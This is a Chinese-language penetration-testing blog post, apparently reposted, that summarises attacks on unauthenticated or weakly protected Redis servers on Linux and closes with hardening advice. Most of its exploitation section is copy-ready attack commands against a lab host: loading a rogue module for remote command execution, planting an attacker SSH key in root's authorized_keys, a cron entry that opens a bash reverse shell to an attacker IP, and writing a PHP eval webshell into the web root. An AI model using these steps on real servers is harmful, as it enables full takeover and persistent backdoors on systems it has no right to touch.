redis未授權訪問漏洞利用總結——linux篇


1、前言:

  redis未授權漏洞或弱口令一直是很有用的滲透突破口,最近遇到了redis相關的目標,因此做一個簡單的收集,也方便自己日后的回顧。

 

2、Redis簡介:

  redis是一個key-value存儲系統。和Memcached類似,它支持存儲的value類型相對更多,包括string、list、set、zset和hash。這些數據類型都支持push/pop、add/remove及取交集並集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎上,redis支持各種不同方式的排序。與memcached一樣,為了證效率,數據都是緩存在內存中。區別的是redis會周期性的把更新的數據寫入磁盤或者把修改操作寫入追加的記錄文件,並且在此基礎上實現了master-slave(主從)同步。

 

3、Redis常用命令:

set xz "Hacker"                           # 設置鍵xz的值為字符串Hacker
      get xz                              # 獲取鍵xz的內容
      SET score 857                       # 設置鍵score的值為857
      INCR score                          # 使用INCR命令將score的值增加1
      GET score                           # 獲取鍵score的內容
      keys *                              # 列出當前數據庫中所有的鍵
      config set protected-mode no        # 關閉安全模式
      get anotherkey                      # 獲取一個不存在的鍵的值
      config set dir /root/redis          # 設置保存目錄
      config set dbfilename redis.rdb     # 設置保存文件名
      config get dir                      # 查看保存目錄
      config get dbfilename               # 查看保存文件名
      save                                # 進行一次備份操作
      flushall                            # 刪除所有數據
      del key                             # 刪除鍵為key的數據
      slaveof ip port                 # 設置主從關系
      redis-cli -h ip -p 6379 -a passwd   # 外部連接

 

4、Redis基本操作:

1.使用SET和GET命令,可以完成基本的賦值和取值操作;
2.Redis是不區分命令的大小寫的,set和SET是同一個意思;
3.使用keys *可以列出當前數據庫中的所有鍵;
4.當嘗試獲取一個不存在的鍵的值時,Redis會返回空,即(nil);
5.如果鍵的值中有空格,需要使用雙引號括起來,如"Hello World"

 

5、Redis配置文件參數:

port參數:
    格式為port后面接端口號,如port 6379,表示Redis服務器將在6379端口上進行監聽來等待客戶端的連接。

bind參數:
    格式為bind后面接IP地址,可以同時綁定在多個IP地址上,IP地址之間用空格分離,如bind 192.168.1.100 10.0.0.1,表允許192.168.1.100和10.0.0.1兩個IP連接。如果設置為0.0.0.0則表示任意ip都可連接,說白了就是白名單。

save參數:
    格式為save <秒數> <變化數>,表示在指定的秒數內數據庫存在指定的改變數時自動進行備份(Redis是內存數據庫,這里的備份就是指把內存中的數據備份到磁盤上)。可以同時指定多個save參數,如:
        save 900 1
        save 300 10
        save 60 10000
    表示如果數據庫的內容在60秒后產生了10000次改變,或者300秒后產生了10次改變,或者900秒后產生了1次改變,那么立即進行備份操作。

requirepass參數:
    格式為requirepass后接指定的密碼,用於指定客戶端在連接Redis服務器時所使用的密碼。Redis默認的密碼參數是空的,說明不需要密碼即可連接;同時,配置文件有一條注釋了的requirepass foobared命令,如果去掉注釋,表示需要使用foobared密碼才能連接Redis數據庫。

dir參數:
    格式為dir后接指定的路徑,默認為dir ./,指明Redis的工作目錄為當前目錄,即redis-server文件所在的目錄。注意,Redis產生的備份文件將放在這個目錄下。

dbfilename參數:
    格式為dbfilename后接指定的文件名稱,用於指定Redis備份文件的名字,默認為dbfilename dump.rdb,即備份文件的名字為dump.rdb。

config命令:
    通過config命令可以讀取和設置dir參數以及dbfilename參數,因為這條命令比較危險(實驗將進行詳細介紹),所以Redis在配置文件中提供了rename-command參數來對其進行重命名操作,如rename-command CONFIG HTCMD,可以將CONFIG命令重命名為HTCMD。配置文件默認是沒有對CONFIG命令進行重命名操作的。

protected-mode參數:
    redis3.2之后添加了protected-mode安全模式,默認值為yes,開啟后禁止外部連接,所以在測試時,先在配置中修改為no。 

 

6、redis未授權或者弱口令的利用:

  1)通過rce漏洞獲取shell:

    實際上這里的主從復制getshell指的是Redis未授權訪問在4.x/5.0.5以前版本下,我們可以使用master/slave模式加載遠程模塊,通過動態鏈接庫的方式執行任意命令。

    環境搭建:

cd vulhub/redis/4-unacc/
docker-compose up -d

    漏洞利用:

利用工具:
    https://github.com/n0b0dyCN/redis-rogue-server

下載之后,cd進入RedisModulesSDK目錄使用make編譯,當然不想編譯也可以用作者給出的默認exp.so也是可以的。

    兩種交互方式:

      交互式shell:python3 redis-rogue-server.py --rhost 192.168.223.132 --lhost 10.72.180.46,根據提示輸入i進入交互shell。

 

       反彈shell:python3 redis-rogue-server.py --rhost 192.168.223.132 --lhost 10.72.180.46,根據提示輸入r,根據后續提示填入相應參數,即可獲取到反彈的shell。

   2)寫入ssh-keygen公鑰登錄服務器:

    環境搭建:

1、安裝redis:
    wget http://download.redis.io/releases/redis-3.2.0.tar.gz 
    tar -C /usr/local/ -xvzf redis-3.2.0.tar.gz 
    cd redis-3.2.0 
    make
2、修改配置文件並啟動redis服務:
    vim redis.conf
        bind 127.0.0.1前面加上#號
        protected-mode設為no
    ./src/redis-server redis.conf
    
3、關閉防火牆並禁止開機啟動:
    systemctl stop firewalld.service #停止firewall
    systemctl disable firewalld.service #禁止firewall開機啟動

復現漏洞的時候必須把防火牆關掉,否則可能沒有辦法訪問到redis服務

    利用條件:

1、Redis服務使用ROOT賬號啟動
2、服務器開放了SSH服務,而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器。

    詳細步驟:

1、在攻擊機生成一個公鑰文件:
    cd /root/.ssh/        #如果.ssh不存在的話,創建.ssh文件夾。
    ssh-keygen -t rsa     #執行完命令然后回車三次就結束了。
    cat id_rsa.pub
2、未授權或者弱口令訪問redis服務,並寫入公鑰:
    redis -h 192.168.223.132      登錄redis服務
    config set dir /root/.ssh/    #設置保存路徑
    config set dbfilename authorized_keys    #設置保存文件名
    set x "\n\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdetfvTA3f2gkKLnyC8cRKNPmN54QlK1a+QFedlN3BzDAWR7BJmv5qMaXdwTa++upI1gHyOb50rNBSddeIbbbND3uQiNpzJOUaLxrITe6QvELc055Ya1NVcsWeGR/B42daBFua+aBQ0bTMvW6Ne3PiVcvoisSgHNKtFPu6mvV+LV9+r1w9nib/iQAba2u/YHf3bC2+SChs1dDdD4wPz4Qf2E4gWrxXWQIJzqDfuHWHjQkqoh/frSwdYp6PHPzToYWXaGDA/JMgMovokCtGNE9ovTMndkdS18nLkoYQowQFBpv7EJOnFBXj9KIsc2jOfytSie0YZjFt4Fj89+0UTetH4hdEqWg5oEELVVXVnjY3vhOcQFsBFgr1vV00tVmm1KVJ4nuJ0L2/xOBsFixr6LVspBWh/0EZDpTBoVVjDBj4QBZRzfo/kiv9jUYFE5olyoxABRHnPBGfw1bXS0IjiK6P7I1Egm1n77g0DMqwjCiLfY6UAznU7R9QN82NKyvAwGs= root@kali \n\n\n"    #將公鑰寫入x鍵,用"\n\n\n"包裹住公鑰,並且跟公鑰之間用空格隔開
    save    # 保存
3、用私鑰進行登錄:
    ssh -i id_rsa    第一次登陸需要輸入yes

 

  3)利用crontab來執行命令反彈shell:

    環境搭建:用上面的環境即可。

    漏洞利用:

先在自己服務器上監聽一個端口:
nc -lvnp 8080

然后創建一個新的命令行:
root@kali:~# redis-cli -h 192.168.223.132
192.168.223.132:6379> set  xx   "\n* * * * * bash -i >& /dev/tcp/192.168.223.135/8080 0>&1\n"
OK
192.168.223.132:6379> config set dir /var/spool/cron/
OK
192.168.223.132:6379> config set dbfilename root
OK
192.168.223.132:6379> save
OK

nc監聽端口已經反彈回來shell(反彈回shell需要的時間比較久,大概幾分鍾的樣子):

 

  4)寫入webshell:

    當redis權限不高並且服務器開着web服務,redis有web目錄的寫權限。可以嘗試往web路徑下寫入webshell。

root@kali:~# redis-cli -h 192.168.223.132
192.168.223.132:6379> config set dir /var/www/html/
OK
192.168.223.132:6379> config set dbfilename shell.php
OK
192.168.223.132:6379> set x "<?php eval(@$_POST['a']); ?>"
OK
192.168.223.132:6379> save
OK

 

7、修復建議:

1)禁止一些高危命令(重啟redis才能生效)
    修改 redis.conf 文件,禁用遠程修改 DB 文件地址
        rename-command FLUSHALL ""
        rename-command CONFIG ""
        rename-command EVAL ""
    或者通過修改redis.conf文件,改變這些高危命令的名稱
        rename-command FLUSHALL "name1"
        rename-command CONFIG "name2"
        rename-command EVAL "name3"

2)以低權限運行 Redis 服務(重啟redis才能生效)
    為 Redis 服務創建單獨的用戶和家目錄,並且配置禁止登陸
        groupadd -r redis && useradd -r -g redis redis

3)為 Redis 添加密碼驗證(重啟redis才能生效)
    修改 redis.conf 文件,添加
        requirepass mypassword
        (注意redis不要用-a參數,明文輸入密碼,連接后使用auth認證)

4)禁止外網訪問 Redis(重啟redis才能生效)
    修改 redis.conf 文件,添加或修改,使得 Redis 服務只在當前主機可用
        bind 127.0.0.1
    在redis3.2之后,redis增加了protected-mode,在這個模式下,非綁定IP或者沒有配置密碼訪問時都會報錯。

5)修改默認端口
    修改配置文件redis.conf文件
        Port 6379
    默認端口是6379,可以改變成其他端口(不要沖突就好)

6)保證 authorized_keys 文件的安全
    為了保證安全,您應該阻止其他用戶添加新的公鑰。將 authorized_keys 的權限設置為對擁有者只讀,其他用戶沒有任何權限:
        chmod 400 ~/.ssh/authorized_keys
    為保證 authorized_keys 的權限不會被改掉,您還需要設置該文件的 immutable 位權限:
        chattr +i ~/.ssh/authorized_keys
    然而,用戶還可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設置 ~./ssh 的 immutable 權限:
        chattr +i ~/.ssh

7)設置防火牆策略
    如果正常業務中Redis服務需要被其他服務器來訪問,可以設置iptables策略僅允許指定的IP來訪問Redis服務。

 

8、參考文章:

https://www.freebuf.com/articles/web/249238.html    Redis系列漏洞總結
    亮點:寫ssh-keygen公鑰,然后利用私鑰來登錄;主從復制getshell(其實不需要主從復制,利用工具即可拿下)、結合SSRF進行利用、redis寫lua
https://www.cnblogs.com/-mo-/p/11487797.html    Redis未授權訪問反彈shell
    亮點:往web路徑真實路徑寫webshell。;利用計划任務執行命令反彈shell。
https://www.freebuf.com/column/158065.html
    植入挖礦木馬、利用redis執行命令

 

 

 

  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM